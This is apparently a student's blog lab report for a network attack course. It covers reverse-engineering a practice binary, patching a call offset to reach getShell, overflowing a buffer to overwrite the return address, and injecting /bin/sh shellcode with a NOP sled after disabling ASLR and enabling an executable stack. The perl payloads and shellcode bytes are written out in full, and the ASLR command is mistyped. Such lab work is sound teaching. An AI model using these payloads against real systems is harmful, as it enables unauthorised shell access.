2019-2020-2 20175205侯颖《网络对抗技术》Exp1 PC平台逆向破解

2019-2020-2 20175205侯颖《网络对抗技术》Exp1 PC平台逆向破解

基础知识点

  1. 反汇编指令

objdump -d pwn1 | more

  • object dump 项目导出
  • -d disassemble 反汇编
  • pwn1 文件名
  • | 管道符,把一个命令的标准输出传到另一个命令的标准输入中
  • more 分页显示
  1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP汇编指令的机器码是“90”
JNE汇编指令的机器码是“75”
JE 汇编指令的机器码是“74”
JMP汇编指令的机器码是“eb”
CMP汇编指令的机器码是“39”

3.掌握反汇编与十六进制编程器

  • 反汇编指令objdump -d filename
    • object dump 项目导出
    • -d disassemble 反汇编
    • pwn1 文件名
    • | 管道符,把一个命令的标准输出传到另一个命令的标准输入中
    • more 分页显示
    • 如果我们想要以全屏幕的方式按页显示反汇编的内容,可以利用“管道”,即在反汇编指令后添加| more,这样我们就可以利用more的一些快捷键,如:Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)
  • 十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:
    • 输入命令vi pwn1查看可执行文件内容,为ASCII码形式显示;
    • 输入:%!xxd将显示模式切换为16进制模式;
    • 进行相关操作后,输入:%!xxd -r转换16进制为为ASCII码形式。

4.能正确修改机器指令改变程序执行流程

  • 见任务一

5.能正确构造payload进行bof攻击

  • 见任务三

实验步骤

(一)任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

1. 基本知识点

  • 输入指令objdump -d pwn1 | more反汇编pwn1文件。
  • 机器语言:call————>机器指令:e8
  • call指令后的表示相对偏移地址(小端模式),机器指令用补码表示
  • 执行到call指令,EIP的值为80484ba,即下一条指令的地址
  • EIP的值+相对偏移地址(逆序)=跳转函数的地址(更新EIP)

2.理清思路

  • 修改相对偏移地址,将函数跳转到部分
  • 当前EIP的值(80484ba)+相对偏移地址(?)=getShell函数地址(804847d)
  • 相对偏移地址 = C3 ff ff ff(小端模式)
  • 因此,跳转到getShell函数只需将e8后面的相对偏移地址改为C3 ff ff ff

3. 实验步骤

  • 备份原有文件cp pwn1 pwn2

  • 使用vi编辑器编辑pwn2文件

  • 由于pwn2是可执行文件,因此用编辑器打开是乱码显示

  • Esc,输入:%!xxd将显示模式切换为16进制模式

  • 大致分为三列:文件内的相对位置 十六进制表示 ASCII码

  • 使用命令/e8 d7锁定修改位置

  • 输入i进入插入模式,将d7修改为c3

  • 输入:%!xxd -r将十六进制模式转换为原格式

  • 输入:wq保存退出

  • 反汇编验证

  • 运行验证(若发现权限不够可使用chmod abc filename修改权限)

(二)任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

1. 理清思路

  • ptr指针的大小为:0x1c,并指向输入的字符串
  • 根据堆栈的结构,在foo函数形成自己的栈帧之前,堆栈顶部存放着返回地址,即主函数call指令下一条指令的地址
  • 若使输入的数据的第33、34、35、36,这四个字节是getShell函数的地址,则就可以覆盖返回地址,出发getShell函数
  • 问题:我认为系统预留的缓冲区应该为28个字节

2. 实验步骤

  • 使用命令gdb pwn3调试程序,参数r表示运行

  • 若输入的字符串小于等于28个字节,那么程序正常运行;若输入的字符串大于28个字节,则会报错

  • 使用info r指令显示寄存器的值

  • getshell函数的地址为:0x0804847d,由于小端优先,而且输入字符串时以ASCII码输入,因此要转换为\x7d\x84\x04\x08

  • 输入 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

  • 使用xxd input查看文件内容

  • 通过管道符|,作为pwn1的输入,格式为(cat input; cat ) | ./pwn3

  • 实验成功,但最后退出3报了一个段错误,不是很懂

(三)任务三:注入一个自己制作的shellcode并运行这段shellcode。

1. 准备shellcode

  • shellcode就是一段机器指令(code)
  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
  • 和前面的getshell功能一致,唯一的区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是自己编写的,可以实现任何功能。

2. 攻击思路

  • 攻击思路还是利用缓冲区溢出
  • 同理还是使若输入的字符串第33、34、35、36这四个字节覆盖EIP的值,即返回地址
  • 返回地址不再是修改为getshell的地址,而是shellcode的地址
  • 确定shellcode的位置,一般放在EIP之后
  • 构造字符串,使第33、34、35、36这四个字节指向shellcode的起始地址
  • 在shellcode前加入0x90 0x90这样的空指令NOPS,因为不知道shellcode的起始地址,这种布局模式称为RNS(return nops shellcode)模式

3. 构造要注入的payload

  • Linux下有两种基本构造攻击buf的方法:
    • retaddr+nop+shellcode(一般来说使用RNS的形式)
    • nop+shellcode+retaddr(约束shellcode的大小)
  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
  • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

4. 实验步骤

  • 设置堆栈可执行

execstack -s pwn3 //设置堆栈可执行
execstack -q pwn3 //查询文件的堆栈是否可执行

  • 关闭地址随机化(若文件权限不够,则输入sudo -s),2为开启,0为关闭
 more /proc/sys/kernel/randomize_va_space                 //查看随机化是否关闭
 echo "0" /proc/sys/kernel/randomize_va_space        //关闭随机化

  • 失败案例——nsr
    • 注入一段代码,我们首先构造一个input_shellcode

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

  • 使用xxd input_shellcode查看文件内容

  • 通过管道符|,作为pwn3的输入,格式为(cat input_shellcode; cat ) | ./pwn3

  • 在另外一个窗口ps -ef | grep pwn3能看见当前运行pwn3的进程号为3241;

    • 启用gdb调试进程,输入attach 3241动态调试当前进程号进程

    • 使用disassemble foo反编译

    • 可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae

    • 在另一个终端按下回车,这样程序就会执行之后在断点处停下来

    • 再在gdb调试的终端输入c继续运行程序

    • info r esp查看esp寄存器地址

    • x/16x 0xffffd34c以16进制形式查看0xffffd34c地址后面16字节的内容

    • 一直往前找,直到出现0x90909090,再改根据shellcode起始位置,更改输入字符串的值

  • 成功案例——rns

    • 注入一段代码,我们首先构造一个input_shellcode

perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 步骤同上,得出shellcode的起始地址为0xffffd34c+0x00000004=0xffffd350

  • 将注入代码改为

perl -e 'print "A" x 32;print "\x50\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 攻击成功

总结

实验收获及感想

       通过这次实验发现,汇编指令的相关知识全还给老师了,很多细小的知识点都遗忘了,但是经过自己动手实践,学习教学视频,及时做相关笔记,这才将忘了的东西慢慢捡回来。
       本次实验我花了将近5个小时完成,对于实验的每一步都尽量去理解掌握其中原理,以前在很多课上都谈到过缓冲区溢出的原理危害等等,这次自己动手实现缓冲区溢出攻击,让我对堆栈的结构有了更深的认识;掌握了在程序加载时,怎么形成栈帧,栈顶指针的变化;在实现函数跳转时,什么参数入栈;理解了堆栈是如何被恶意代码覆盖,覆盖后怎样跳转等等。第一次接触到这样的实验,感觉十分有趣,当自己真的实现缓冲区溢出攻击,还挺激动-非常期待接下来的其他实验。

什么是漏洞?漏洞有什么危害?

漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。利用这些缺点,攻击者可以对计算机系统进行攻击,从而达到一定的目的。漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。

posted @ 2020-03-03 08:22  侯颖175205  阅读(379)  评论(0编辑  收藏  举报